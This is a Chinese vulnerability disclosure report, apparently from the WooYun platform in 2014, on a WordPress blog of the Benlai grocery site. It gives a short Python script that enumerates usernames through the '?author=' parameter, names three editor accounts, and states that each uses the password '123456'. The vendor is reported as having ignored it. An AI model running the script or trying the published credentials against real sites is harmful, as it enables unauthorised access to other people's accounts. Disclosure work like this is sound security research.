漏洞详情

披露状态:

2014-04-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-05-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

某站弱口令

详细说明:

发现本来生活的博客站:本来故事,http://foodstory.benlai.com/使用的是wordpress,/wp-admin为后台,?author=$num可遍历用户名

#!/usr/bin/python
# -*- coding:utf-8 -*-

import requests

for i in range(30):
r = requests.get('http://foodstory.benlai.com/?author='+str(i), allow_redirects=False)
if r.status_code == 301:
name = r.headers['Location'][35:]
print(name)



得到用户名

2.png



测试发现

zanganping
wangwenyan
gaoyan



三位编辑账号存在弱口令123456

1.png

漏洞证明:

登录发现编辑gaoyan的权限似乎比另两个大一点,可能在一定程度上影响前端展现

3.png

修复方案:

不要使用弱口令,防止用户名被遍历

版权声明:转载请注明来源 f0r@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价: